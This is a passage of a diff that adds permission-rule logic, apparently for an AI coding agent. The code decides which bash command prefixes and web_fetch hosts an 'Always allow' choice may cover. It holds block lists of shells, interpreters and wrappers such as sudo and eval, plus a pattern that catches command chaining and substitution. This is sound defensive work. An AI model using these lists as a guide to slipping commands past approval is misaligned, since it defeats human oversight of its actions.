+ /** Interpreters: the prefix is the interpreter plus the script path. */
29
+ const INTERPRETERS = new Set(["python", "python3", "node", "ruby", "perl", "deno", "bun", "sh", "bash", "zsh"]);
30
+ /** Shells: a runner or `npx` may not name one as its target, since it would run arbitrary code. */
31
+ const SHELLS = new Set(["sh", "bash", "zsh", "fish"]);
32
+ /** Commands that change directory or run another command; they never get a pattern. */
33
+ const WRAPPERS = new Set(["cd", "sudo", "env", "xargs", "eval", "exec", "nohup", "time", "timeout"]);
34
+ /** A runner or `npx` target that is an interpreter, shell or wrapper runs arbitrary code, so it gets no pattern. */
35
+ const BLOCKED_TARGETS = new Set([...INTERPRETERS, ...SHELLS, ...WRAPPERS]);
36
+ /** The last path segment of a target, so `/bin/sh` and `./sh` count as `sh`. */
37
+ function basename(target) {
38
+ return target.slice(target.lastIndexOf("/") + 1);
39
+ }
40
+ /** Chaining, redirection, substitution and newlines: such a command neither gets nor matches a pattern. */
41
+ const UNSAFE = /[;&|`<>\n\r]|\$\(/;
42
+ const ASSIGNMENT = /^[A-Za-z_][A-Za-z0-9_]*=/;
43
+ function words(command) {
44
+ return command.trim().split(/\s+/).filter((w) => w.length > 0);
45
+ }
46
+ function escapeControl(text) {
47
+ return text.replace(/[\u0000-\u001f\u007f]/g, (c) => `\\x${c.charCodeAt(0).toString(16).padStart(2, "0")}`);
48
+ }
49
+ function stringArg(args, key) {
50
+ if (typeof args !== "object" || args === null)
51
+ return null;
52
+ const value = args[key];
53
+ return typeof value === "string" ? value : null;
54
+ }
55
+ function urlHost(args) {
56
+ const raw = stringArg(args, "url");
57
+ if (raw === null)
58
+ return null;
59
+ try {
60
+ const url = new URL(raw);
61
+ return url.protocol === "http:" || url.protocol === "https:" ? url.hostname.toLowerCase() : null;
62
+ }
63
+ catch {
64
+ return null;
65
+ }
66
+ }
67
+ /**
68
+ * The prefix "Always allow" offers for a bash command, or null when the command must be approved one by one.
69
+ * Interpreters give the interpreter plus the script. Subcommand programs give two words, except:
70
+ * a RUNNERS subcommand gives three words (`npm run test`, `pnpm exec vitest`, `uv run pytest`), whose target must be
71
+ * present, not a flag, and whose basename is not a BLOCKED_TARGETS name; BLOCKED_SUBCOMMANDS get no pattern; a program
72
+ * in ALLOWED_SUBCOMMANDS gives two words only for a listed subcommand (`yarn add`, `uv sync`); `npx <pkg>` gives two
73
+ * words unless the package's basename is a BLOCKED_TARGETS name. Other subcommand programs give two words.
74
+ * A bare word gets a pattern only for SAFE_SINGLE programs.
75
+ */
76
+ export function bashPrefix(command) {
77
+ if (UNSAFE.test(command))
78
+ return null;
79
+ const w = words(command);
80
+ const [first, second, third] = w;
81
+ if (first === undefined || WRAPPERS.has(first) || ASSIGNMENT.test(first))
82
+ return null;
83
+ if (INTERPRETERS.has(first))
84
+ return second !== undefined && !second.startsWith("-") ? `${first} ${second}` : null;
85
+ if (SUBCOMMAND_PROGRAMS.has(first)) {
86
+ if (second === undefined || second.startsWith("-") || BLOCKED_SUBCOMMANDS.get(first)?.has(second))
87
+ return null;
88
+ if (RUNNERS.get(first)?.has(second)) {
89
+ return third !== undefined && !third.startsWith("-") && !BLOCKED_TARGETS.has(basename(third)) ? `${first} ${second} ${third}` : null;
90
+ }
91
+ const allowed = ALLOWED_SUBCOMMANDS.get(first);
92
+ if (allowed !== undefined && !allowed.has(second))
93
+ return null;
94
+ if (first === "npx" && BLOCKED_TARGETS.has(basename(second)))
95
+ return null;
96
+ return `${first} ${second}`;
97
+ }
98
+ return SAFE_SINGLE.has(first) ? first : null;
99
+ }
100
+ /** The rule "Always allow" would add for this call, or null when the box offers only Allow once and Deny. */
101
+ export function sessionRuleFor(toolName, args) {
102
+ if (toolName === "bash") {
103
+ const command = stringArg(args, "command");
104
+ const prefix = command === null ? null : bashPrefix(command);
105
+ return prefix === null ? null : { tool: "bash", kind: "prefix", value: prefix };
106
+ }
107
+ if (toolName === "web_fetch") {
108
+ const host = urlHost(args);
109
+ return host === null ? null : { tool: "web_fetch", kind: "host", value: host };
110
+ }
111
+ return { tool: toolName, kind: "tool" };
112
+ }
113
+ /** True when `rule` allows this call: same tool, and for bash a whole-word prefix of an unchained command, for web_fetch the same host. */
114
+ export function matchesSessionRule(rule, toolName, args) {
115
+ if (rule.tool !== toolName)
116
+ return false;
117
+ if (rule.kind === "tool")
118
+ return true;
119
+ if (rule.kind === "host")
120
+ return rule.value !== undefined && urlHost(args) === rule.value;
121
+ const command = stringArg(args, "command");
122
+ if (command === null || rule.value === undefined || UNSAFE.test(command))
123
+ return false;
124
+ const normalized = words(command).join(" ");
125
+ return normalized === rule.value || normalized.startsWith(`${rule.value} `);
126
+ }
127
+ /** How the box and /permissions name a rule, control characters escaped. */
128
+ export function describeSessionRule(rule) {
129
+ const value = escapeControl(rule.value ?? "");
130
+ if (rule.kind === "prefix")
131
+ return `\`${value} …\``;
132
+ if (rule.kind === "host")
133
+ return `${escapeControl(rule.tool)} from ${value}`;
134
+ if (rule.tool === "write" || rule.tool === "edit")
135
+ return `${rule.tool} in the workspace`;
136
+ return `\`${escapeControl(rule.tool)}\``;
137
+ }
138
+ export function sameSessionRule(a, b) {
139
+ return a.tool === b.tool && a.kind === b.kind && (a.value ?? null) === (b.value ?? null);
140
+ }